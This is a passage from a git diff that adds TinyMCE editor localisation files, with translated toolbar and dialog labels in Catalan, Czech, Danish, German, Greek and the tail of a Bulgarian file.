\u0434\u043e\u0431\u0430\u0432\u043a\u0438","about_version":"\u0412\u0435\u0440\u0441\u0438\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u0414\u043e\u0431\u0430\u0432\u043a\u0430","about_plugins":"\u0414\u043e\u0431\u0430\u0432\u043a\u0438","about_license":"\u041b\u0438\u0446\u0435\u043d\u0437","about_help":"\u041f\u043e\u043c\u043e\u0449","about_general":"\u041e\u0442\u043d\u043e\u0441\u043d\u043e","about_title":"\u041e\u0442\u043d\u043e\u0441\u043d\u043e TinyMCE","charmap_usage":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435 \u043d\u0430\u043b\u044f\u0432\u043e \u0438 \u043d\u0430\u0434\u044f\u0441\u043d\u043e, \u0437\u0430 \u0434\u0430 \u043d\u0430\u0432\u0438\u0433\u0438\u0440\u0430\u0442\u0435.","anchor_invalid":"\u041c\u043e\u043b\u044f \u0437\u0430\u0434\u0430\u0439\u0442\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e \u0438\u043c\u0435 \u0437\u0430 \u043a\u043e\u0442\u0432\u0430.","accessibility_help":"\u041f\u043e\u043c\u043e\u0449 \u0437\u0430 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e\u0441\u0442","accessibility_usage_title":"\u041e\u0431\u0449\u0430 \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ca.js b/js/tiny_mce2/themes/advanced/langs/ca.js new file mode 100755 index 0000000..4e4be8e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ca.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced',{"underline_desc":"Subratllat (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negreta (Ctrl+B)",dd:"Descripci\u00f3 de definici\u00f3",dt:"Terme de definici\u00f3 ",samp:"Mostra el Codi",code:"Codi",blockquote:"Citabloc",h6:"Encap\u00e7alament 6",h5:"Encap\u00e7alament 5",h4:"Encap\u00e7alament 4",h3:"Encap\u00e7alament 3",h2:"Encap\u00e7alament 2",h1:"Encap\u00e7alament 1",pre:"Preformatat",address:"Adre\u00e7a",div:"Capa",paragraph:"Par\u00e0graf",block:"Format",fontdefault:"Fam\u00edlia de font","font_size":"Mida de font","style_select":"Estils","more_colors":"M\u00e9s colors","toolbar_focus":"Salta als botons d\'eina - Alt Q, Salta a l\'editor - Alt-Z, Salta al cam\u00ed de l\'element - Alt-X",newdocument:"Esteu segur que voleu buidar tots els continguts?",path:"Cam\u00ed","clipboard_msg":"Copia/Retalla/Enganxa no es troba disponible ni al Mozilla ni al Firefox. Voleu m\u00e9s informaci\u00f3 sobre aix\u00f2?","blockquote_desc":"Citabloc","help_desc":"Ajuda","newdocument_desc":"Nou document","image_props_desc":"Propietats de la imatge","paste_desc":"Enganxa","copy_desc":"Copia","cut_desc":"Retalla","anchor_desc":"Insereix/edita \u00e0ncora","visualaid_desc":"Commuta elements guies/invisibles","charmap_desc":"Insereix un car\u00e0cter","backcolor_desc":"Selecci\u00f3 del color de fons","forecolor_desc":"Selecci\u00f3 del color de text","custom1_desc":"Aqu\u00ed la vostra pr\u00f2pia descripci\u00f3","removeformat_desc":"Elimina el format","hr_desc":"Insereix un filet horitzontal","sup_desc":"Super\u00edndex","sub_desc":"Sub\u00edndex","code_desc":"Edita el codi font HTML","cleanup_desc":"Poleix el codi","image_desc":"Insereix/edita imatge","unlink_desc":"Desenlla\u00e7a","link_desc":"Insereix/edita enlla\u00e7","redo_desc":"Ref\u00e9s (Ctrl+Y)","undo_desc":"Desf\u00e9s (Ctrl+Z)","indent_desc":"Augmenta el sagnat","outdent_desc":"Redueix el sagnat","numlist_desc":"Llista numerada","bullist_desc":"Llista no numerada","justifyfull_desc":"Justificat","justifyright_desc":"Alineaci\u00f3 dreta","justifycenter_desc":"Alineaci\u00f3 al centre","justifyleft_desc":"Alineaci\u00f3 esquerra","striketrough_desc":"Barrat","help_shortcut":"Prem ALT-F10 per barra d\'eines. Prem ALT-0 per ajuda","rich_text_area":"\u00c0rea de Text Enriquit","shortcuts_desc":"Ajuda d\'Accessabilitat",toolbar:"Barra d\'eines","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ca_dlg.js b/js/tiny_mce2/themes/advanced/langs/ca_dlg.js new file mode 100755 index 0000000..d1b3776 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced_dlg',{"link_list":"Llista d\'enlla\u00e7os","link_is_external":"L\'URL que heu introdu\u00eft sembla ser un enlla\u00e7 extern, voleu afegir-hi el prefix requerit http:// ?","link_is_email":"L\'URL que heu introdu\u00eft sembla ser una adre\u00e7a de correu, voleu afegir-hi el prefix requerit mailto: ?","link_titlefield":"T\u00edtol","link_target_blank":"Obre l\'enlla\u00e7 a una nova finestra","link_target_same":"Obre l\'enlla\u00e7 a la mateixa finestra","link_target":"Dest\u00ed","link_url":"URL de l\'enlla\u00e7","link_title":"Insereix/edita enlla\u00e7","image_align_right":"Dreta","image_align_left":"Esquerra","image_align_textbottom":"Part inferior del text","image_align_texttop":"Part superior del text","image_align_bottom":"A baix","image_align_middle":"Al Mig","image_align_top":"A dalt","image_align_baseline":"L\u00ednia de base","image_align":"Alineaci\u00f3","image_hspace":"Espai horitzontal","image_vspace":"Espai vertical","image_dimensions":"Dimensions","image_alt":"Descripci\u00f3 de la imatge","image_list":"Llista de la imatge","image_border":"Vora","image_src":"URL de la imatge","image_title":"Insereix/edita imatge","charmap_title":"Selecci\u00f3 de car\u00e0cter","colorpicker_name":"Nom:","colorpicker_color":"Color:","colorpicker_named_title":"Colors pel seu nom","colorpicker_named_tab":"Per nom","colorpicker_palette_title":"Paleta de colors","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Capturador de color","colorpicker_picker_tab":"Capturador","colorpicker_title":"Selecci\u00f3 de color","code_wordwrap":"Embolcall de paraula","code_title":"Editor de codi font HTML","anchor_name":"Nom de l\'\u00e0ncora","anchor_title":"Insereix/edita \u00e0ncora","about_loaded":"Connectors carregats","about_version":"Versi\u00f3","about_author":"Autor","about_plugin":"Connector","about_plugins":"Connectors","about_license":"Llic\u00e8ncia","about_help":"Ajuda","about_general":"Quant a","about_title":"Quant al TinyMCE","charmap_usage":"Feu servir fletxes esquerra i dreta per navegar","anchor_invalid":"Sisplau, especifiqueu un nom d\'\u00e0ncora v\u00e0lid.","accessibility_help":"Ajuda d\'accessibilitat","accessibility_usage_title":"Us general","invalid_color_value":"Valor de color inv\u00e0lid"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/cs.js b/js/tiny_mce2/themes/advanced/langs/cs.js new file mode 100755 index 0000000..f94e356 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/cs.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advanced',{"underline_desc":"Podtr\u017een\u00e9 (Ctrl+U)","italic_desc":"Kurz\u00edva (Ctrl+I)","bold_desc":"Tu\u010dn\u00e9 (Ctrl+B)",dd:"Popis definice",dt:"Term\u00edn definice",samp:"Uk\u00e1zka k\u00f3du",code:"K\u00f3d",blockquote:"Blokov\u00e1 citace",h6:"Nadpis 6",h5:"Nadpis 5",h4:"Nadpis 4",h3:"Nadpis 3",h2:"Nadpis 2",h1:"Nadpis 1",pre:"P\u0159edform\u00e1tov\u00e1no",address:"Adresa",div:"Odd\u00edl",paragraph:"Odstavec",block:"Form\u00e1t",fontdefault:"P\u00edsmo","font_size":"Velikost p\u00edsma","style_select":"Styly","more_colors":"Dal\u0161\u00ed barvy","toolbar_focus":"P\u0159echod na panel n\u00e1stroj\u016f - Alt-Q, p\u0159echod do editoru - Alt-Z, p\u0159echod na cestu prvk\u016f - Alt-X",newdocument:"Jste si opravdu jisti, \u017ee chcete odstranit ve\u0161ker\u00fd obsah?",path:"Cesta","clipboard_msg":"Funkce kop\u00edrovat/vyjmout/vlo\u017eit nejsou podporovan\u00e9 v prohl\u00ed\u017ee\u010d\u00edch Mozilla a Firefox.\nChcete v\u00edce informac\u00ed o tomto probl\u00e9mu?","blockquote_desc":"Blokov\u00e1 citace","help_desc":"N\u00e1pov\u011bda","newdocument_desc":"Nov\u00fd dokument","image_props_desc":"Vlastnosti obr\u00e1zku","paste_desc":"Vlo\u017eit","copy_desc":"Kop\u00edrovat","cut_desc":"Vyjmout","anchor_desc":"Vlo\u017eit/upravit z\u00e1lo\u017eku (kotvu)","visualaid_desc":"Zobrazit pomocn\u00e9 linky/skryt\u00e9 prvky","charmap_desc":"Vlo\u017eit speci\u00e1ln\u00ed znak","backcolor_desc":"Barva pozad\u00ed","forecolor_desc":"Barva textu","custom1_desc":"Libovoln\u00fd popisek","removeformat_desc":"Odstranit form\u00e1tov\u00e1n\u00ed","hr_desc":"Vlo\u017eit vodorovn\u00fd odd\u011blova\u010d","sup_desc":"Horn\u00ed index","sub_desc":"Doln\u00ed index","code_desc":"Upravit HTML zdroj","cleanup_desc":"Vy\u010distit k\u00f3d","image_desc":"Vlo\u017eit/upravit obr\u00e1zek","unlink_desc":"Odebrat odkaz","link_desc":"Vlo\u017eit/upravit odkaz","redo_desc":"Znovu (Ctrl+Y)","undo_desc":"Zp\u011bt (Ctrl+Z)","indent_desc":"Zv\u011bt\u0161it odsazen\u00ed","outdent_desc":"Zmen\u0161it odsazen\u00ed","numlist_desc":"\u010c\u00edslovan\u00fd seznam","bullist_desc":"Seznam s odr\u00e1\u017ekami","justifyfull_desc":"Zarovnat do bloku","justifyright_desc":"Zarovnat doprava","justifycenter_desc":"Zarovnat na st\u0159ed","justifyleft_desc":"Zarovnat doleva","striketrough_desc":"P\u0159e\u0161krtnut\u00e9","help_shortcut":"Stiskn\u011bte ALT-F10 pro panel n\u00e1stroj\u016f. Stiskn\u011bte ALT-0 pro n\u00e1pov\u011bdu.","rich_text_area":"Oblast s form\u00e1tovan\u00fdm textem","shortcuts_desc":"N\u00e1pov\u011bda",toolbar:"Panel n\u00e1stroj\u016f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/cs_dlg.js b/js/tiny_mce2/themes/advanced/langs/cs_dlg.js new file mode 100755 index 0000000..35c165a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advanced_dlg',{"link_list":"Seznam odkaz\u016f","link_is_external":"Zadan\u00e9 URL vypad\u00e1 jako extern\u00ed odkaz, chcete doplnit povinn\u00fd prefix http://?","link_is_email":"Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa, chcete doplnit povinn\u00fd prefix mailto:?","link_titlefield":"Titulek","link_target_blank":"Otev\u0159\u00edt odkaz v nov\u00e9m okn\u011b","link_target_same":"Otev\u0159\u00edt odkaz ve stejn\u00e9m okn\u011b","link_target":"C\u00edl","link_url":"URL odkazu","link_title":"Vlo\u017eit/upravit odkaz","image_align_right":"Vpravo","image_align_left":"Vlevo","image_align_textbottom":"Se spodkem \u0159\u00e1dku","image_align_texttop":"S vrchem \u0159\u00e1dku","image_align_bottom":"Dol\u016f","image_align_middle":"Na st\u0159ed \u0159\u00e1dku","image_align_top":"Nahoru","image_align_baseline":"Na z\u00e1kladnu","image_align":"Zarovn\u00e1n\u00ed","image_hspace":"Horizont\u00e1ln\u00ed odsazen\u00ed","image_vspace":"Vertik\u00e1ln\u00ed odsazen\u00ed","image_dimensions":"Rozm\u011bry","image_alt":"Popis obr\u00e1zku","image_list":"Seznam obr\u00e1zk\u016f","image_border":"R\u00e1me\u010dek","image_src":"URL obr\u00e1zku","image_title":"Vlo\u017eit/upravit obr\u00e1zek","charmap_title":"Vlo\u017eit speci\u00e1ln\u00ed znak","colorpicker_name":"N\u00e1zev:","colorpicker_color":"Vybran\u00e1 barva:","colorpicker_named_title":"Pojmenovan\u00e9 barvy","colorpicker_named_tab":"N\u00e1zvy","colorpicker_palette_title":"Paleta barev","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Kap\u00e1tko","colorpicker_picker_tab":"Kap\u00e1tko","colorpicker_title":"V\u00fdb\u011br barvy","code_wordwrap":"Zalamov\u00e1n\u00ed \u0159\u00e1dk\u016f","code_title":"Editor HTML","anchor_name":"N\u00e1zev z\u00e1lo\u017eky","anchor_title":"Vlo\u017eit/upravit z\u00e1lo\u017eku (kotvu)","about_loaded":"Na\u010dten\u00e9 z\u00e1suvn\u00e9 moduly","about_version":"Verze","about_author":"Autor","about_plugin":"Z\u00e1suvn\u00fd modul","about_plugins":"Z\u00e1suvn\u00e9 moduly","about_license":"Licence","about_help":"N\u00e1pov\u011bda","about_general":"O programu","about_title":"O TinyMCE","charmap_usage":"Pro navigaci pou\u017eijte \u0161ipky vlevo a vpravo.","anchor_invalid":"Zadejte, pros\u00edm, platn\u00fd n\u00e1zev z\u00e1lo\u017eky (kotvy).","accessibility_help":"N\u00e1pov\u011bda pro p\u0159\u00edstupnost","accessibility_usage_title":"Obecn\u00e9 pou\u017eit\u00ed","invalid_color_value":"Neplatn\u00fd k\u00f3d barvy"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/da.js b/js/tiny_mce2/themes/advanced/langs/da.js new file mode 100755 index 0000000..3d5fb8b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/da.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advanced',{"underline_desc":"Understreget (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fed (Ctrl+B)",dd:"Definitionsbeskrivelse",dt:"Definitionsterm ",samp:"Kodeeksempel",code:"Kode",blockquote:"Blokcitat",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pr\u00e6formatteret",address:"Adresse",div:"Div",paragraph:"Afsnit",block:"Format",fontdefault:"Skrifttype","font_size":"Skriftst\u00f8rrelse","style_select":"Typografier","more_colors":"Flere farver","toolbar_focus":"Hop til v\u00e6rkt\u00f8jsknapper - Alt+Q, Skift til redigering - Alt-Z, Skift til element sti - Alt-X",newdocument:"Er du sikker p\u00e5 du vil slette alt indhold?",path:"Sti","clipboard_msg":"Kopier/Klip/inds\u00e6t er ikke muligt i Mozilla og Firefox.\nVil du have mere information om dette emne?","blockquote_desc":"Blokcitat","help_desc":"Hj\u00e6lp","newdocument_desc":"Nyt dokument","image_props_desc":"Billedegenskaber","paste_desc":"Inds\u00e6t","copy_desc":"Kopier","cut_desc":"Klip","anchor_desc":"Inds\u00e6t/rediger anker","visualaid_desc":"Sl\u00e5 hj\u00e6lp/synlige elementer til/fra","charmap_desc":"Inds\u00e6t specialtegn","backcolor_desc":"V\u00e6lg baggrundsfarve","forecolor_desc":"V\u00e6lg tekstfarve","custom1_desc":"Din egen beskrivelse her","removeformat_desc":"Fjern formatering","hr_desc":"Inds\u00e6t horisontal linie","sup_desc":"H\u00e6vet skrift","sub_desc":"S\u00e6nket skrift","code_desc":"Rediger HTML-kilde","cleanup_desc":"Ryd op i uordentlig kode","image_desc":"Inds\u00e6t/rediger billede","unlink_desc":"Fjern link","link_desc":"Inds\u00e6t/rediger link","redo_desc":"Gendan (Ctrl+Y)","undo_desc":"Fortryd (Ctrl+Z)","indent_desc":"\u00d8g indrykning","outdent_desc":"Formindsk indrykning","numlist_desc":"Nummereret punktopstilling","bullist_desc":"Unummereret punktopstilling","justifyfull_desc":"Lige marginer","justifyright_desc":"H\u00f8jrejusteret","justifycenter_desc":"Centreret","justifyleft_desc":"Venstrejusteret","striketrough_desc":"Gennemstreget","help_shortcut":"Tryk ALT-F10 for v\u00e6rkt\u00f8jslinie. Tryk ALT-0 for hj\u00e6lp","rich_text_area":"Tekstomr\u00e5de med formatering","shortcuts_desc":"Hj\u00e6lp til tilg\u00e6ngelighed",toolbar:"V\u00e6rkt\u00f8jslinie","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/da_dlg.js b/js/tiny_mce2/themes/advanced/langs/da_dlg.js new file mode 100755 index 0000000..419e5dd --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advanced_dlg',{"link_list":"Liste over links","link_is_external":"Den URL, der er indtastet, ser ud til at v\u00e6re et eksternt link. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede http:// foran?","link_is_email":"Den URL, der er indtastet, ser ud til at v\u00e6re en emailadresse. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede mailto: foran?","link_titlefield":"Titel","link_target_blank":"\u00c5ben link i nyt vindue","link_target_same":"\u00c5ben link i samme vindue","link_target":"Target","link_url":"Link URL","link_title":"Inds\u00e6t/rediger link","image_align_right":"H\u00f8jre","image_align_left":"Venstre","image_align_textbottom":"Tekst bunden","image_align_texttop":"Tekst toppen","image_align_bottom":"Bunden","image_align_middle":"Centreret","image_align_top":"Toppen","image_align_baseline":"Grundlinie","image_align":"Justering","image_hspace":"Horisontal afstand","image_vspace":"Vertikal afstand","image_dimensions":"Dimensioner","image_alt":"Billedbeskrivelse","image_list":"Liste over billeder","image_border":"Kant","image_src":"Billede URL","image_title":"Inds\u00e6t/rediger billede","charmap_title":"V\u00e6lg specialtegn","colorpicker_name":"Navn:","colorpicker_color":"Farve:","colorpicker_named_title":"Navngivet farve","colorpicker_named_tab":"Navngivet","colorpicker_palette_title":"Palette-farver","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Farvev\u00e6lger","colorpicker_picker_tab":"V\u00e6lger","colorpicker_title":"V\u00e6lg en farve","code_wordwrap":"Tekstombrydning","code_title":"HTML kildekode-redigering","anchor_name":"Navn p\u00e5 anker","anchor_title":"Inds\u00e6t/rediger anker","about_loaded":"Indl\u00e6ste udvidelser","about_version":"Version","about_author":"Forfatter","about_plugin":"Udvidelse","about_plugins":"Udvidelser","about_license":"Licens","about_help":"Hj\u00e6lp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Brug venstre og h\u00f8jre piletaster til at navigere","anchor_invalid":"Angiv venligst et gyldigt anker navn.","accessibility_help":"Tilg\u00e6ngeligheds hj\u00e6lp","accessibility_usage_title":"Generel brug"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/de.js b/js/tiny_mce2/themes/advanced/langs/de.js new file mode 100755 index 0000000..034195c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/de.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advanced',{"underline_desc":"Unterstrichen (Strg+U)","italic_desc":"Kursiv (Strg+I)","bold_desc":"Fett (Strg+B)",dd:"Definitionsbeschreibung",dt:"Definitionsbegriff",samp:"Beispiel",code:"Code",blockquote:"Zitatblock",h6:"\u00dcberschrift 6",h5:"\u00dcberschrift 5",h4:"\u00dcberschrift 4",h3:"\u00dcberschrift 3",h2:"\u00dcberschrift 2",h1:"\u00dcberschrift 1",pre:"Rohdaten",address:"Adresse",div:"Zusammenh\u00e4ngender Bereich",paragraph:"Absatz",block:"Vorlage",fontdefault:"Schriftart","font_size":"Schriftgr\u00f6\u00dfe","style_select":"Format","anchor_delta_width":"13","more_colors":"Weitere Farben","toolbar_focus":"Zur Werkzeugleiste springen: Alt+Q; Zum Editor springen: Alt-Z; Zum Elementpfad springen: Alt-X",newdocument:"Wollen Sie wirklich den ganzen Inhalt l\u00f6schen?",path:"Pfad","clipboard_msg":"Kopieren, Ausschneiden und Einf\u00fcgen sind im Mozilla Firefox nicht m\u00f6glich.\nWollen Sie mehr \u00fcber dieses Problem erfahren?","blockquote_desc":"Zitatblock","help_desc":"Hilfe","newdocument_desc":"Neues Dokument","image_props_desc":"Bildeigenschaften","paste_desc":"Einf\u00fcgen","copy_desc":"Kopieren","cut_desc":"Ausschneiden","anchor_desc":"Anker einf\u00fcgen/ver\u00e4ndern","visualaid_desc":"Hilfslinien und unsichtbare Elemente ein-/ausblenden","charmap_desc":"Sonderzeichen einf\u00fcgen","backcolor_desc":"Hintergrundfarbe","forecolor_desc":"Textfarbe","custom1_desc":"Benutzerdefinierte Beschreibung","removeformat_desc":"Formatierungen zur\u00fccksetzen","hr_desc":"Trennlinie einf\u00fcgen","sup_desc":"Hochgestellt","sub_desc":"Tiefgestellt","code_desc":"HTML-Quellcode bearbeiten","cleanup_desc":"Quellcode aufr\u00e4umen","image_desc":"Bild einf\u00fcgen/ver\u00e4ndern","unlink_desc":"Link entfernen","link_desc":"Link einf\u00fcgen/ver\u00e4ndern","redo_desc":"Wiederholen (Strg+Y)","undo_desc":"R\u00fcckg\u00e4ngig (Strg+Z)","indent_desc":"Einr\u00fccken","outdent_desc":"Ausr\u00fccken","numlist_desc":"Sortierte Liste","bullist_desc":"Unsortierte Liste","justifyfull_desc":"Blocksatz","justifyright_desc":"Rechtsb\u00fcndig","justifycenter_desc":"Zentriert","justifyleft_desc":"Linksb\u00fcndig","striketrough_desc":"Durchgestrichen","help_shortcut":"Dr\u00fccken Sie ALT-F10 f\u00fcr die Toolbar. Dr\u00fccken Sie ALT-0 f\u00fcr Hilfe","rich_text_area":"Rich Text Feld","shortcuts_desc":"Eingabehilfe",toolbar:"Toolbar","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/de_dlg.js b/js/tiny_mce2/themes/advanced/langs/de_dlg.js new file mode 100755 index 0000000..d33ca1d --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advanced_dlg',{"link_list":"Linkliste","link_is_external":"Diese Adresse scheint ein externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"http://\" voranstellen?","link_is_email":"Diese Adresse scheint eine E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"mailto:\" voranstellen?","link_titlefield":"Titel","link_target_blank":"Neues Fenster \u00f6ffnen","link_target_same":"Im selben Fenster \u00f6ffnen","link_target":"Fenster","link_url":"Adresse","link_title":"Link einf\u00fcgen/ver\u00e4ndern","image_align_right":"Rechts","image_align_left":"Links","image_align_textbottom":"Unten im Text","image_align_texttop":"Oben im Text","image_align_bottom":"Unten","image_align_middle":"Mittig","image_align_top":"Oben","image_align_baseline":"Zeile","image_align":"Ausrichtung","image_hspace":"Horizontaler Abstand","image_vspace":"Vertikaler Abstand","image_dimensions":"Abmessungen","image_alt":"Alternativtext","image_list":"Bilderliste","image_border":"Rahmen","image_src":"Adresse","image_title":"Bild einf\u00fcgen/ver\u00e4ndern","charmap_title":"Sonderzeichen","colorpicker_name":"Name:","colorpicker_color":"Farbe:","colorpicker_named_title":"Benannte Farben","colorpicker_named_tab":"Benannte Farben","colorpicker_palette_title":"Farbpalette","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Farbwahl","colorpicker_picker_tab":"Farbwahl","colorpicker_title":"Farbe","code_wordwrap":"Automatischer Zeilenumbruch","code_title":"HTML-Quellcode bearbeiten","anchor_name":"Name des Ankers","anchor_title":"Anker einf\u00fcgen/ver\u00e4ndern","about_loaded":"Geladene Plugins","about_version":"Version","about_author":"Urheber","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Lizenzbedingungen","about_help":"Hilfe","about_general":"\u00dcber","about_title":"\u00dcber TinyMCE","charmap_usage":"Navigation mit linken und rechten Pfeilen.","anchor_invalid":"Bitte geben Sie einen g\u00fcltigen Namen f\u00fcr den Anker ein!","accessibility_help":"Eingabehilfe","accessibility_usage_title":"Allgemeine Verwendung","invalid_color_value":"Ung\u00fcltige Farbangabe"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/el.js b/js/tiny_mce2/themes/advanced/langs/el.js new file mode 100755 index 0000000..3663ecc --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/el.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advanced',{"underline_desc":"\u03a5\u03c0\u03bf\u03b3\u03c1\u03b1\u03bc\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1 (Ctrl+U)","italic_desc":"\u03a0\u03bb\u03ac\u03b3\u03b9\u03b1 (Ctrl+I)","bold_desc":"\u039c\u03b1\u03cd\u03c1\u03b1 (Ctrl+B)",dd:"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u039f\u03c1\u03b9\u03c3\u03bc\u03bf\u03cd",dt:"\u039f\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2",samp:"\u0394\u03b5\u03af\u03b3\u03bc\u03b1 \u039a\u03ce\u03b4\u03b9\u03ba\u03b1",code:"\u039a\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",blockquote:"Blockquote",h6:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 6",h5:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 5",h4:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 4",h3:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 3",h2:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 2",h1:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 1",pre:"Pre",address:"\u0394\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7",div:"Div",paragraph:"\u03a0\u03b1\u03c1\u03ac\u03b3\u03c1\u03b1\u03c6\u03bf\u03c2",block:"\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",fontdefault:"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","font_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u0393\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","style_select":"\u03a3\u03c4\u03c5\u03bb","link_delta_width":"80","image_delta_width":"20","more_colors":"\u03a0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b1 \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1","toolbar_focus":"\u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b1 \u03ba\u03bf\u03c5\u03bc\u03c0\u03b9\u03ac \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd - Alt+Q, \u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf\u03bd \u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 - Alt-Z, \u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b7\u03bd \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae \u03c4\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 - Alt-X",newdocument:"\u03a3\u03b9\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03ba\u03b1\u03b8\u03b1\u03c1\u03af\u03c3\u03b5\u03c4\u03b5 \u03cc\u03bb\u03bf \u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf ;",path:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae","clipboard_msg":"\u039f\u03b9 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b5\u03c2 \u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae/\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae/\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03b9\u03b1\u03b8\u03ad\u03c3\u03b9\u03bc\u03b5\u03c2 \u03c3\u03b5 Mozilla \u03ba\u03b1\u03b9 Firefox.\n\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 